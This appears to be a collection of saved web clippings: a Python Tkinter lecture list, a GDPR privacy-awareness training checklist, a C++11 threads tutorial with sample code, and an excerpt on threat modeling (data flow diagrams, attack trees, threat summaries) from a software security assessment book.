Learn how we can use the if statement to create a password system.  
**You will learn:** how to focus on a widget, delete and insert text in an
entry box, more examples of if else statement  
**Example Code** lecture9\_password.py

**Lecture 10: Photo display Part A**\(15min\)  
http://iamaracademy.com/subpages/pythonLect10.html  
Learn how to create a photo display. The concentration of this lecture is
about variables. Talk about the basic types of variables such as integer,
float, string, and Booleans. Talk about local and global variables.  
**You will learn:** The 4 basic different types of variables.\(integer, float,
string, boolean\), learn the concept of global and local variables. How do you
find out what type a variable is, when do you use single or double quotes for
strings  
**Example Code** lecture10\_pictures.py

**Lecture 11: Photo display Part B**\(9min\)  
http://iamaracademy.com/subpages/pythonLect11.html  
Actually creating the image viewer. We are going to create what I promised
last lecture.  
**You will learn:** How to use canvas widget to include a gif image, how to
delete an image. A real example of the need for global variables.

**Lecture 12: Photo display Part C**\(9min\)  
http://iamaracademy.com/subpages/pythonLect12.html  
Improving the image viewer we had from the last class. This lecture will start
talking about the os library. The 4 types of OS that most people have.  
**You will learn:** The 4 types of OS most people use \(windows, unix, apple,
linux\) , How do you find out your OS, How do you list all the files in a
specific directory.

**Lecture 13: Photo display Part d**\(9min\)  
http://iamaracademy.com/subpages/pythonLect13.html  
We start learning about the string library. With these many libraries, you
will also learn how to find all the tools inside the library using the IDLE
interpreter. In this lecture, I am showing you how to fish.

**Lecture 14: Photo display Part e**\(9min\)  
http://iamaracademy.com/subpages/pythonLect14.html  
You will learn: We learn about for loops and the concept of range function in
this lecture

**Lecture 15: Photo display Part f**\(9min\)  
http://iamaracademy.com/subpages/pythonLect15.html  
We finish up the project by learning about how to position the widgets inside
the window and well as how we can create callback functions  
You will learn: pack functions, position functions, grid functions, and
callback functions

**Lecture 16: Photo display Part g**\(9min\)  
http://iamaracademy.com/subpages/pythonLect16.html  
We are now finally getting into more advanced topics such as reading text
files. You can find the source code for this lecture at
http://ourmedia.org/node/29741

**Lecture 17: File reading and writing**\(9min\)  
Here we are going to have a little practice with reading and writing files
source code for this lecture at http://www.ourmedia.org/node/32502

**3D Python Computer graphics** http://vpython.erikthompson.com/

  

# Privacy awareness checklist for GDPR readiness - Help Net Security

**Created:**| _5/15/2017 9:26:01 PM_  
---|---  
**Updated:**| _5/15/2017 9:32:01 PM_  
**Author:**| __  
**Tags:**| _gdpr_  
  

  

Colleen Huber, Product Manager, Content Design and Development at MediaProMay
15, 2017

  *   

# Privacy awareness checklist for GDPR readiness

Read the latest issue of the \(IN\)SECURE Magazine

A little more than a year out from its effective date of May 25, 2018, the
General Data Protection Regulation \(GDPR\) is undoubtedly on the minds of
many of privacy professionals whose organizations handle the data of EU
citizens.

In a nutshell, the GDPR is designed to strengthen and unify data protection
for individuals within the European Union \(EU\). Perhaps more significantly,
it also addresses the export of EU citizens’ personal data outside the EU.
This means both Eurozone companies and those based in the U.S., for example,
will have to comply with the regulation. And the regulation has teeth: fines
for non-compliance can add up to $22 million or 4% of a company’s global
annual revenue, whichever is greater.

Unfortunately, recent survey findings aren’t exactly a cause for hope. For
one, a late 2016 survey from Dell found that a whopping 97 percent of
companies had no plan in place to comply with the GDPR. Another survey found
that 78% of IT decisions makers at 700 European companies were unclear or
completely unaware of GDPR requirements.

You’re likely to find gallons of digital ink spilled over the ins and out of
the GDPR, and organizations should have started planning months ago for what
changes will be needed to comply.

### GDPR and privacy awareness

I’d like to focus on a specific piece of the lengthy GDPR: the requirement for
privacy awareness training. In technical terms, Articles 39 and 47 make
“awareness-raising and training of staff involved in processing operations,
and the related audits” a responsibility of the Data Protection Officer, or
DPO.

Detailed requirements of such training are lacking. But, that’s no reason to
put any less focus on this aspect of GDPR compliance as any other; or hold off
on thinking about how to train your employees until the last minute.

Employee awareness training is in my wheelhouse, so I’m offering the following
five-step checklist designed to help you tackle the privacy awareness training
requirement of the GDPR with ease.

### 1\. Survey employees on data privacy knowledge

When it comes to privacy awareness, you need to know what your employees
don’t. Knowledge assessment surveys are perhaps the most direct way to measure
what your employees know and don’t know about privacy best practices.

The design of such a survey can take many forms, but the questions should be
geared toward those aspects of data privacy that could affect your
organization the most. A good place to start is the GDPR itself – consider
using the myriad requirements in the regulation as a guide. The regulatory
requirements on data breach reporting or data processing, for example, are
great fodder for surveys and subsequent training.

### 2\. Plan your initiative

So now that you know what your employees don’t know, the next step should be
to make a plan for a privacy awareness program that specifically addresses the
knowledge gaps revealed in your survey.

You’ll want to use this information to identify a set of defined risks and
desired behaviors to address in the training. By doing this, you stand a great
chance of accurately measuring your ability to improve your risk posture
through an effective training program. Such a program ensures your employees
are getting relevant information delivered to them, in a variety of forms that
include, but should not end with, conventional training.

### 3\. Build alliances with communications staff

No one gets through life alone, and the same is true for launching or
improving a privacy awareness initiative. If your organization is big enough
to have to comply with the GDPR, your organization likely has dedicated
employee communications staff–people who send out updates about the company,
post notices from HR and other departments, etc.

Now’s the time to connect with them and make sure they know about your desire
to get the word out about privacy awareness. At the very least, they’re less
likely to feel like you’re stepping on their toes when you communicate
company-wide about privacy best practices. At best, you’ll find collaborators
for your privacy awareness efforts who may even think of ways to present
privacy topics you hadn’t.

### 4\. Get executive-level buy-in

Ultimately, someone has to pay for the work involved in a privacy awareness
initiative. Whether the work is done by a third-party vendor or in-house, this
means getting buy-in from the ones signing the checks. The key here is clearly
answering the question: is it worth it? Explaining the cost of not equipping
your employees with the tools they need to keep private data private is an
important point to bring up in budgetary discussions. The average cost of a
data breach hitting $4 million on 2016. That, and the GDPR itself carries
hefty fines for non-compliance.

This, you’ll likely find, is another benefit of having a firm plan in place
before training starts. It will be easy to show executives what goals you plan
to achieve and how you plan to get there. With enough good will from the
higher ups, you may be able to corral an executive into crafting a personal
message about the importance of privacy awareness to your employees. Data
privacy, after all, is everyone’s responsibility.

### 5\. Train, train, train

Again, the GDPR offers no specifics as to what sort of privacy awareness
training should be implemented. I see this, though, as opportunity to shoot
for an awareness initiative that not only complies with the GDPR requirements,
but exceeds them.

Theories abound on the best way to present educational content to employees. I
often recommend seeking an expert vendor to build or at least consult on
training development, but this is not an absolute necessity. The goal of any
awareness initiative should be to replace risky employee behavior with risk
aware behavior, which safeguards the sensitive data your employees have been
entrusted with.

When it comes down to it, you should think of privacy best practices as seeds
of conversation you want to hear around the office. Instead of talk of the
reality show du jour around the water cooler, a \(not too unreasonable\) goal
should be to hear discussion of the latest high-profile data breach and how it
could have been prevented. A well-planned, risk-aligned privacy awareness
program will set the groundwork for these conversations.

### GDPR as an opportunity

Though a daunting set of requirements to tackle, I believe the GDPR will
ultimately have benefits beyond its stated mission. The regulation has the
potential to change the dialogue on the importance of privacy protection from
the executive level down to the employee level.

This new discussion will be happening not just in organizations seeking
compliance with the new regulation, but across organizations of all industries
and sizes. In our increasingly interconnected world, data privacy spoken of
this frequently and to this extent cannot be a bad thing.

  

  

# return 1; electronics and computer engineering • Introduction to threads
with C++11

**Created:**| _5/20/2012 4:20:58 PM_  
---|---  
**Updated:**| _5/20/2012 4:20:58 PM_  
**Author:**| __  
**Tags:**| _multi-threading C++11_  
  

# Introduction to threads with C++11

Written by Lucas on

May 3rd, 2012

The free lunch is over. The time that our complex algorithm was running
extremely slow on a computer, but ran extremely fast a few years later,
because the processor speeds exploded, is gone. The trend with current
processors is to add more cores, rather than increasing the clock frequency.

As programmer, you should be aware of this. Of course, processors will always
perform better with each year, but less fast than before. Currently, a lot of
programs can benefit the most by using multiple threads, because of today's
multicore processors.

In this article I'll briefly explain what a thread is, and how you can create
them with the new threading library in C++11. I'm planning to write multiple
articles about this topic, each going a little bit more in depth.

## What is a thread?

On most general purpose computers, we run a lot of processes beside each
other. But let us ask the question, what is a process? Well, a simple
definition is a running program. But what is a program then? Another simple
definition is a list of instructions the processor needs to execute.

Assume we have one single-core processor. How can all these programs run
beside each other? After all, a single-core processor can perform only one
instruction at the time. Well, that's handled by the operating system. To
share the processor with all these processes, it gives one process a little of
bit of time to perform some instructions, then goes to another process which
gets a little bit of time and so on. Some processes have higher priority than
some other, and will get more processor time than the other. This is called
scheduling and is a subject on itself, and I won't cover it a lot more.

Within processes, we can have threads. It's a little bit the same principle
described above: on a single-core processor, each thread is given some
processor-time.

If we have a non-threading program, we start at the `main()` function, and the
program is finished when we reach the end of the `main()` function. Fun fact:
when you run this program, the operating system actually creates a new thread
to run the `main()` function in, which we call the 'main thread' \(creative
name, isn't it?\).

From the main thread, you can create new threads which should run simultaneous
to the main thread. This means that beside the 'codepath' `main()` till the
end of `main()`, we now also have another codepath, from the entrypoint of the
new thread, till the end of the thread. The entrypoint of the thread is often
the start of an other function than `main()`, and the end of the thread means
the end of that function. But remember, on a single-core processor, it's not
really simultaneous, it shares the processor with the other threads.

We talked a lot about single-core processors in the above text, but what about
today's multicore processors? Well, this means we can actually do multiple
things at the same time. If your processor has two cores, then two threads can
actually run at the same time, without sharing the processor. If your
processor has N cores, then your processor can run N threads at the same time.
And this is why today multithreading is so important: we can actually do
things in parallel.

### Difference between processes and threads

Threads and processes both have the same purpose: running specific tasks
simultaneous to each other. Why do they both exist? Well there are some
differences, summarized below.

#### Properties of a process

  * The stack of a process is safe
  * Each process has his own memory, which can't be altered by other programs. \(Probably there are ways to do it, but in normal circumstances it can't be done\).
    * Because each process has it's own memory, the memory is **safe** , but inter-process communication is _slow_
  * Switching from one process to another is heavy: processor-cache flush, memory management unit TLB flush.

#### Properties of a thread

  * The stack of a thread is safe
  * Each thread shares the same memory within the same process
    * Shared memory is **unsafe** , but inter-process communication is _fast_
  * Switching from one thread to another is _fast_ \(no flushes\)

## Please, give me some code\!

Fine, fine, let's start coding. The new threading library is really nice, and
makes creating a new thread really easy. Consider the example below, we'll
walk through the code afterwards.

[code]

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
[/code]

|

[code]

    #include <iostream>
    #include <string>
    #include <thread>
    #include <chrono>
    #include <vector>
    
    using std::string;
    using std::thread;
    using std::vector;
    using std::cout;
    using std::endl;
    
    /**
     * Prints the given string `num_times` times, with `time_between` miliseconds
     * between each print.
     */ 
    void printer(string text, int num_times, int time_between)
    {
        for(int i = 0; i < num_times; i++) 
        {
            cout << text << endl;
    
            // Wait a moment before next print
            std::chrono::milliseconds duration(time_between);
            std::this_thread::sleep_for(duration);
        }
    }
    
    int main()
    {
        // Create the threads which will each print something
        vector<thread> printers;
    
        printers.push_back(thread(printer, "Hello", 30, 10));
        printers.push_back(thread(printer, "World", 40, 15));
        printers.push_back(thread(printer, "Parallel World", 40, 20));
    
        for(auto &p : printers)
        {
            p.join();
        }
    
        return 0;
    }
    
[/code]  
---|---  
Of course, we first include some library files. The `chrono` library and the
`thread` library are the most important here. Both are new in C++11. The
`chrono` library provides some nice timing capabilities, and the `thread`
library the classes for creating threads.

Then we define a new function called `printer`. This is a very simple function
which just prints the given text a number of times, with a given time in
between. You can see that the `chrono` library provides a nice and clean way
to define the time between each print.

The `main` function is a bit more interesting, in here we create the other
threads. C++11 provides a class `thread`. As you can see, we create three
objects of this class, and put them all in a vector.

The `thread` constructor accepts a function as the first argument, and the
rest of the arguments will be passed to the given function.

Because the `vector` implements the iterator API, we can use the new C++11
range based for syntax, and on each `thread` object we call the method `join`.
This makes sure the calling thread will now wait for the joined thread to
exit, before it finishes itself \(in this case the main thread, and thus the
whole program\). In our case each of the printer threads has to exit before
the main thread finishes.

### Running the program

When we compile and run this program, we get the following output:

[code]

    HelloWorld
    
    Parallel World
    Hello
    World
    Parallel World
    Hello
    World
    Hello
    Parallel World
    Hello
    World
    Hello
    Parallel World
    World
    Hello
    Hello
    World
    Parallel World
    Hello
    World
    Hello
    Parallel World
    World
    Parallel World
    World
    World
    Parallel World
    Parallel World
    Parallel World
    Parallel World
    Parallel World
    Parallel World
    Parallel World
    Parallel World
    
[/code]

So yeah, we can see that our printer threads run beside each other, and not
sequential.

There's one thing to note here, although we have the following code:

`cout << text << endl;`

In the first line of the above output, the 'Hello' and 'World' are not on
seperate lines. Something is not completely right, but the why and how to fix
will be covered in my next article.

**Filled under:** programming C++11 multithreading

# Threat Modeling - The Art of Software Security Assessment: Identifying and
Preventing Software Vulnerabilities

**Created:**| _1/13/2014 6:11:24 PM_  
---|---  
**Updated:**| _1/13/2014 6:11:24 PM_  
**Author:**| __  
**Tags:**| _Threat-modeling security metrics_  
  

### Threat Modeling****

By now, you should have a good idea of how design affects the security of a
software system**.** A system has defined functionality that's provided to its
users but is bound by the security policy and trust model**.** The next step
is to turn your attention to developing a process for applying this knowledge
to an application you've been tasked to review**.** Ideally, you need to be
able to identify flaws in the design of a system and prioritize the
implementation review based on the most security-critical modules**.**
Fortunately, a formalized methodology called threat modeling exists for just
this purpose**.**

In this chapter, you use a specific type of threat modeling that consists of a
five-phase process:

  * Information collection 
  * Application architecture modeling 
  * Threat identification 
  * Documentation of findings 
  * Prioritizing the implementation review 

This process is most effectively applied during the design \(or a
refactoring\) phase of development and is updated as modifications are made in
later development phases**.** It can, however, be integrated entirely at later
phases of the SDLC**.** It can also be applied after development to evaluate
an application's potential exposure**.** The phase you choose depends on your
own requirements, but keep in mind that the design review is just a component
of a complete application review**.** So make sure you account for the
requirements of performing the implementation and operational review of the
final system**.**

This approach to threat modeling should help establish a framework for
relating many of the concepts you've already learned**.** This process can
also serve as a roadmap for applying many concepts in the remainder of this
book**.** However, you should maintain a willingness to adapt your approach
and alter these techniques as required to suit different situations**.** Keep
in mind that processes and methodologies can make good servants but are poor
masters**.**

Note

This threat-modeling process was originally introduced in Writing Secure Code
, 2nd Edition \(Microsoft Press, 2002\) by Michael Howard and David Le
Blanc**.** It was later expanded and refined in Threat Modeling \(Microsoft
Press, 2004\) by Frank Swiderski and Window Snyder**.**

  

####  Information Collection****

The first step in building a threat model is to compile all the information
you can about the application**.** You shouldn't put too much effort into
isolating security- related information yet because at this phase you aren't
certain what's relevant to security**.** Instead, you want to develop an
understanding of the application and get as much information as possible for
the eventual implementation review**.** These are the key areas you need to
identify by the end of this phase:

  * Assets Assets include anything in the system that might have value to attackers **.** They could be data contained in the application or an attached database, such as a database table of user accounts and passwords**.** An asset can also be access to some component of the application, such as the capability to run arbitrary code on a target system**.**
  * Entry points Entry points include any path through which an attacker can access the system**.** They include any functionality exposed via means such as listening ports, Remote Procedure Call \(RPC\) endpoints, submitted files, or any client-initiated activity**.**
  * External entities External entities communicate with the system via its entry points**.** These entities include all user classes and external systems that interact with the application**.**
  * External trust levels External trust levels refer to the privileges granted to an external entity, as discussed in "Trust Relationships" earlier in this chapter**.** A complex system might have several levels of external trust associated with different entities, whereas a simple application might have nothing more than a concept of local and remote access**.**
  * Major components Major components define the structure of an application design**.** Components can be internal to the application, or they might represent external module dependencies**.** The threat-modeling process involves decomposing these components to isolate their security-relevant considerations**.**
  * Use scenarios Use scenarios cover all potential applications of the system**.** They include a list of both authorized and unauthorized scenarios**.**

#####  Developer Interviews****

In many situations, you can save yourself a lot of time by going straight to
the horse's mouth, as it were**.** So if you have access to the developers, be
sure to use this access to your advantage**.** Of course, this option might
not be available. For instance, an independent vulnerability researcher rarely
has access to the application's developers**.**

When you approach a system's developers, you should keep a few points in
mind**.** First, you're in a position to criticize work they have put a lot of
time and effort into**.** Make it clear that your goal is to help improve the
security of their application, and avoid any judgmental or condescending
overtones in your approach**.** After you have a decent dialogue going, you
still need to verify any information you get against the application's
implementation**.** After all, the developers might have their own
misconceptions that could be a contributing factor to some
vulnerabilities**.**

#####  Developer Documentation****

A well-documented application can make the review process faster and more
thorough; however, there's one major catch to this convenience**.** You should
always be cautious of any design documentation for an existing
implementation**.** The reason for this caution isn't usually deceitful or
incompetent developers; it's just that too many things change during the
implementation process for the result to ever match the specifications
perfectly **.**

A number of factors contribute to these inconsistencies between specifications
and the implementation**.** Extremely large applications can often drift
drastically from their specifications because of developer turnover and minor
oversights compounded over time**.** Implementations can also differ simply
because two people rarely have exactly the same interpretation of a
specification**.** The bottom line is that you should expect to validate
everything you determine from the design against the actual
implementation**.**

Keeping this caveat in mind, you still need to know how to wring everything
you can out of the documentation you get**.** Generally , you want anything
you can get your hands on, including design \(diagrams, protocol
specifications, API documentation, and so on\), deployment \(installation
guides, release notes, supplemental configuration information, and so forth\),
and end-user documentation**.** In binary \(and some source code\) reviews,
end-user documentation is all you can get, but don't underestimate its
value**.** This documentation is "customer- facing " literature, so it tends
to be fairly accurate and can offer a process-focused view that makes the
system easier to understand**.**

#####  Standards Documentation****

If you're asked to examine an application that uses standardized network
protocols or file formats, a good understanding of how those protocols and
file formats are structured is necessary to know how the application should
function and what deficiencies might exist**.** Therefore, acquiring any
published standards and related documentation created by researchers and
authors is a good idea**.** Typically, Internet-related standards documents
are available as requests for comments \(RFCs, available at
www.ietf.org/rfc/\)**.** Open -source implementations of the same standards
can be particularly useful in clarifying ambiguities you might encounter when
researching the technology a target application uses**.**

#####  Source Profiling****

Access to source code can be extremely helpful when you're trying to gather
information on an application**.** You don't want to go too deep at this
phase, but having the source code can speed up a lot of the initial modeling
process**.** Source code can be used to initially verify documentation, and
you can determine the application's general structure from class and module
hierarchies in the code**.** When the source does not appear to be laid out
hierarchically, you can look at the application startup to identify how major
components are differentiated at initialization**.** You can also identify
entry points by skimming the code to find common functions and objects, such
as ` listen() ` or ` ADODB ` **.**

#####  System Profiling****

System profiling requires access to a functional installation of the
application, which gives you an opportunity to validate the documentation
review and identify elements the documentation missed**.** Threat models
performed strictly from documentation need to skip this step and validate the
model entirely during the implementation review**.**

You can use a variety of methods for profiling an application**.** Here are a
few common techniques:

  * File system layout Look at the application's file system layout and make notes of any important information**.** This information includes identifying the permission structure, listing all executable modules, and identifying any relevant data files**.**
  * Code reuse Look for any application components that might have come from another library or package, such as embedded Web servers or encryption libraries**.** These components could present their own unique attack surface and require further review**.**
  * Imports and exports List the function import and export tables for every module**.** Look closely for any libraries used for establishing or managing external connections or RPC interfaces**.**
  * Sandboxing Run the application in a sandbox so that you can identify every object it touches and every activity it performs **.** Use a sniffer and application proxies to record any network traffic and isolate communication**.** In Windows environments, the Filemon, Regmon, WinObj, and Process Explorer utilities \(from www.sysinternals.com\) are helpful for this activity**.**
  * Scanning Probe the application on any listening ports, RPC interfaces, or similar external interfaces**.** Try grabbing banners to validate the protocols in use and identify any authentication requirements**.** For HTTP applications, try spidering links and identifying as many unique entry points as possible**.**

####  Application Architecture Modeling****

After you have some background information, you need to begin examining the
application architecture**.** This phase involves familiarizing yourself with
how the software is structured and what components can affect its overall
security**.** These steps help identify design concerns and let you know where
to focus your energies during the implementation review**.** You build this
knowledge by reviewing existing documentation of the application model and
developing new models as required**.** Every piece of software is modeled to
some extent during its development; the only difference is whether the models
are ever formally recorded**.** So you need to understand the types of
modeling in common use and how you can develop your own**.**

#####  Unified Markup Language****

Unified Markup Language \(UML\) is a specification developed by the Object
Management Group \(OMG; www.omg.org/uml/\) to describe many different aspects
of how an application operates from a fairly high level**.** It includes
diagrams to describe information flow, interaction between components,
different states the application can be in, and more**.** Of particular
interest in this phase are class diagrams, component diagrams, and use
cases**.** The following list briefly describes these types of diagrams so
that you get a feel for what they're trying to convey **.** If you're
unfamiliar with UML, picking up one of the myriad books available on the
subject is strongly recommended**.** Because of UML's complexity, explaining
it in depth is far beyond the scope of this chapter**.**

Note

UML has gone through several revisions**.** The currently accepted standard is
UML 2.0.

  

  * Class diagrams A class diagram is a UML diagram for modeling an object-oriented \(OO\) solution**.** Each object class is represented by a rectangle that includes the methods and attributes in the class**.** Relationships between objects are then represented by lines between classes**.** Lines with arrows on one end define parents in an inheritance hierarchy; unadorned lines \(no arrows\) with numbers near the ends indicate a cardinality relationship**.**
Class diagrams can be helpful when you're trying to understand relationships
in a complex module**.** They essentially spell out how an application is
modeled and how classes interact with each other**.** Realistically, however,
you won't encounter them all that often unless you're performing in-house code
reviews**.** By analyzing an OO solution, you can roughly construct class
diagrams. Although doing so might seem like a waste of time, they can be
useful when you need to come back and review the same software later or when
you perform an initial high-level review and then hand off various code-
auditing tasks to other members of a team**.**

  * Component diagrams Component diagrams divide a solution into its constituent components, with connectors indicating how they interact with each other**.** A component is defined as an opaque subsystem that provides an independent function for a solution**.** Examples of a component include a database, a parser of some description, an ordering system, and so forth**.** A component diagram offers a less complex view of a system than class diagrams do because components generally represent a complete self-contained subsystem, often implemented by many classes and modules**.**
A component diagram exposes interfaces \(denoted by protruding circles\) and
uses interfaces of other components \(denoted by an empty semicircle \)**.**
Components are tied together through these interface exposures or by means of
association lines, which indicate that two components are inherently
interrelated and don't rely on exposed interfaces**.** Component diagrams also
allow two components to be joined together by realization **.** A realization
simply means that the functionality required by one component is a subset of
the functionality exposed by an interface of another component**.**
Realization is represented by a dotted line**.**

In an assessment, a component diagram can be valuable for defining the high-
level view of a system and its intercomponent relationships**.** It can be
especially useful when you're trying to develop the initial context of a
threat model because it eliminates much of a system's complexity and allows
you to focus on the big picture**.**

  * Use cases A use case is possibly the most nebulous component of the UML standard**.** There are no strict requirements for what a use case should look like or include**.** It can be represented with text or graphics, and developers choose which they prefer**.** Fundamentally, a use case is intended to describe how an application should be used, so a good set of use cases can come in handy**.** After all, when you know what an application should be doing, addressing what it shouldn't be doing is easier**.** When reviewing use cases, keep an eye out for any developer assumptions about the system's behavior**.**

#####  Data Flow Diagrams****

A number of diagramming tools can aid in understanding a system, but the data
flow diagram \(DFD\) is one of the most effective for security purposes**.**
These diagrams are used to map how data moves through a system and identify
any affected elements**.** If done properly, the DFD modeling process accounts
not only for the application functionality exposed directly to external
sources, but also the functionality that's exposed indirectly**.** This
modeling process also accounts for mitigating factors in a system's design,
such as additional security measures enforcing trust boundaries**.** Figure
2-2 shows the five main elements of a DFD, which are summarized in the
following list:

#####  Figure 2-2**.** DFD elements****

<img src='img/Temp2_8381.jpg' width='500' height='242' />

  

  * Processes Processes are opaque logic components with well-defined input and output requirements**.** They are represented with a circle, and groups of related processes are represented by a circle with a double border**.** Multiple process groups can be further decomposed in additional DFDs for each single process**.** Although processes aren't typically assets, they can be in some contexts**.**
  * Data stores Data stores are information resources the system uses, such as files and databases**.** They are represented by open-ended rectangular boxes**.** Usually, anything represented in this way in a DFD is considered a system asset**.**
  * External entities These elements, described previously in "Information Collection," are "actors" and remote systems that communicate with the system over its entry points**.** They are represented by closed rectangles**.** Identifying external entities helps you isolate system entry points quickly and determine what assets are externally accessible**.** External entities might also represent assets that need to be protected, such as a remote server**.**
  * Data flow The flow of data is represented by arrows**.** It indicates what data is sent through what parts of the system**.** These elements can be useful for discovering what user-supplied data can reach certain components so that you can target them in the implementation review**.**
  * Trust boundary Trust boundaries are the boundaries between different entities in the system or between entire systems. They are represented by a dotted line between the two components**.**

Figure 2-3 shows how you can use DFD elements to model a system**.** It
represents a simplified model of a basic Web application that allows users to
log in and access resources stored in a database**.** Of course, DFDs look
different at various levels of an application**.** A simple, high-level DFD
that encapsulates a large system is referred to as a context diagram **.** The
Web site example is a context diagram because it represents a high-level
abstraction that encapsulates a complex system**.**

#####  Figure 2-3**.** A DFD context diagram****

<img src='img/Temp2_8383.jpg' width='500' height='213' />

  

However, your analysis generally requires you to decompose the system
further**.** Each successive level of decomposition is labeled numerically ,
starting from zero**.** A level-0 diagram identifies the major application
subsystems. The major subsystems in this Web application are distinguished by
the user's authentication state**.** This distinction is represented in the
level-0 diagram in Figure 2-4**.**

#####  Figure 2-4. A DFD level-0 diagram of the login process****

<img src='img/Temp2_8385.jpg' width='500' height='243' />

  

Depending on the complexity of a system, you may need to continue
decomposing**.** Figure 2-5 is a level-1 diagram of the Web application's
login process**.** Normally, you would only progress beyond level-0 diagrams
when modeling complex subsystems. However, this level-1 diagram provides a
useful starting point for using DFDs to isolate design vulnerabilities**.**

#####  Figure 2-5. A DFD level-0 diagram of the login process****

<img src='img/Temp2_8386.jpg' width='500' height='468' />

  

When preparing for an implementation review, you can use these diagrams to
model application behavior and isolate components**.** For instance, Figure
2-6 shows the login process altered just a bit**.** Can you see where the
vulnerability is**?** The way the login process handles an invalid login has
been changed so that it now returns the result of each phase directly back to
the client**.** This altered process is vulnerable because attackers can
identify valid usernames without logging in successfully, which can be
extremely useful in attempting a brute-force attack against the authentication
system**.**

#####  Figure 2-6. A DFD showing a login vulnerability****

<img src='img/Temp2_8382.jpg' width='500' height='365' />

  

By diagramming this system, you can more easily identify its security
components**.** In this example, it helped you isolate a vulnerability in the
way the system authenticates**.** Of course, the login example is still fairly
simple; a more complex system might have several layers of complexity that
must be encapsulated in multiple DFDs**.** You probably don't want model all
these layers , but you should decompose different components until you've
reached a point that isolates the security-relevant considerations**.**
Fortunately, there are tools to assist in this process**.** Diagramming
applications such as Microsoft Visio are useful, and the Microsoft Threat
Modeling Tool is especially helpful in this process**.**

####  Threat Identification****

Threat identification is the process of determining an application's security
exposure based on your knowledge of the system**.** This phase builds on the
work you did in previous phases by applying your models and understanding of
the system to determine how vulnerable it is to external entities**.** For
this phase, you use a new modeling tool called attack trees \(or threat trees
\), which provide a standardized approach for identifying and documenting
potential attack vectors in a system**.**

#####  Drawing an Attack Tree****

The structure of an attack tree is quite simple**.** It consists of a root
node, which describes the attacker's objective, and a series of subnodes that
indicate ways of achieving that objective**.** Each level of the tree breaks
the steps into more detail until you have a realistic map of how an attacker
can exploit a system**.** Using the simple Web application example from the
previous section, assume it's used to store personal information**.** Figure
2-7 shows a high-level attack tree for this application**.**

#####  Figure 2-7. Attack tree example****

<img src='img/Temp2_8384.jpg' width='500' height='292' />

  

As you can see, the root node is at the top with several subnodes
underneath**.** Each subnode states an attack methodology that could be used
to achieve the goal stated in the root node**.** This process is further
decomposed, as necessary, into subnodes that eventually define an attack**.**
Looking at this diagram, you should start to notice the similarities between
attack trees and DFDs**.** After all, an attack tree isn't developed in a
vacuum **.** It's best created by walking through a DFD and using the attack
tree to note specific concerns**.** As an example, notice how the branch
leading to subnode 1**.** 2.1 follows the same reasoning pattern used
previously in analyzing the DFD of the flawed login process**.**

As with DFDs, you want to continue decomposing attack trees only along
security-relevant paths**.** You need to use your judgment and determine what
paths constitute reasonable attack vectors and what vectors are unlikely **.**
Before getting into that topic, however, continue to the next section for a
more detailed description of the attack tree structure**.**

#####  Node Types****

You might have noticed some strange markings in the lines connecting each node
to its children \(such as nodes 1**.** 2.1.1 and 1**.** 2.1.2\). The arc
between these node connectors indicates that the child nodes are AND nodes,
meaning both conditions of the child node must be met to continue evaluating
the vector**.** A node without an arc is simply an OR node, meaning either
branch can be traversed without any additional condition**.** Referring to
Figure 2-7, look at the brute-force login vector in node 1**.** 2.1. To
traverse past this node, you must meet the following conditions in the two
subnodes:

  * Identify username 
  * Identify user password 

Neither step can be left out**.** A username with no password is useless, and
a password without the associated username is equally useless**.** Therefore,
node 1.2**.** 1 is an AND node.

Conversely, OR nodes describe cases in which an objective can be reached by
achieving any one of the subnodes**.** So the condition of just a single node
must be met to continue evaluating the child nodes**.** Referring to Figure
2-7 again, look at the objective "Log in as target user" in node 1**.** 2\.
This objective can be achieved with either of the following approaches:

  * Brute-force login 
  * Steal user credentials 

To log in as the user, you don't have to achieve both goals; you need to
achieve only one**.** Therefore, they are OR nodes.

#####  Textual Representation****

You can represent attack trees with text as well as graphics**.** Text
versions convey identical information as the graphical versions but sometimes
aren't as easy to visualize \(although they're more compact\)**.** The
following example shows how you would represent the attack tree from Figure
2-7 in a text format:

[code]

    1**.** Adversary gains access to a user's personal information
       OR  1**.** 1 Gain direct access to the database
               1.1.1 Exploit a hole in system application or kernel
           1**.** 2 Log in as target user
               OR 1.2.1 Brute-force login
                  AND 1.2**.** 1.1 Identify username
                      1.2.1**.** 2 Identify user password
                  1.2.2 Steal user credentials
           1.3 Hijack user session
                   1**.** 3.1 Steal user session cookie
           1.4 Passively intercept personal data
               AND 1**.** 4.1 Identify user connection initiation
                   1**.** 4.2 Sniff network traffic for personal data
    
[/code]

  

As you can see, all the same information is present**.** First, the root node
objective is stated as the heading of the attack tree, and its immediate
descendants are numbered and indented below the heading**.** Each new level is
indented again and numbered below its parent node in the same fashion**.** The
AND and OR keywords are used to indicate whether nodes are AND or OR
nodes**.**

#####  Threat Mitigation****

Part of the value of an attack tree is that it allows you to track potential
threats**.** However, tracking threats isn't particularly useful if you have
no way of identifying how they are mitigated**.** Fortunately, attack trees
include a special type of node for addressing that concern: a circular
node**.** Figure 2-8 shows a sample attack tree with mitigating factors in
place**.**

#####  Figure 2-8. An attack tree with mitigation nodes****

<img src='img/Temp2_8387.jpg' width='500' height='343' />

  

Three mitigation nodes have been added to this attack tree to help you realize
that these vectors are less likely avenues of attack than the unmitigated
branches**.** The dashed lines used in one mitigation node are a shorthand way
to identify a branch as an unlikely attack vector**.** It doesn't remove the
branch, but it does encourage you to direct your focus elsewhere**.**

One final note on mitigation: You don't want to look for it too early**.**
Identifying mitigating factors is useful because it can prevent you from
pursuing an unlikely attack vector**.** However, you don't want to get lulled
into a false sense of security and miss a likely branch**.** So consider
mitigation carefully , and make sure you perform some validation before you
add it to your attack tree**.**

####  Documentation of Findings****

Now that the investigative work is done, you need to document what you
discovered **.** In the documentation phase, you will review the threats you
uncovered in the previous phase and present them in a formal manner**.** For
each threat you uncovered, you need to provide a brief summary along with any
recommendations for eliminating the threat**.** To see how this process works,
use the "Brute-force login" threat \(node 1**.** 2.1\) from your sample attack
tree. This threat could allow an attacker to log in with another user's
credentials**.** The documentation of your threat summary would look similar
to Table 2-1**.**

#####  Table 2-1. Threat Summary****

Threat  |  Brute-force login**.**  
---|---  
Affected Component  |  Web application login component**.**  
Description  |  Clients can brute-force attack usernames and passwords by repeatedly connecting and attempting to log in**.** This threat is increased because the application returns different error messages for invalid username and passwords, making usernames easier to identify**.**  
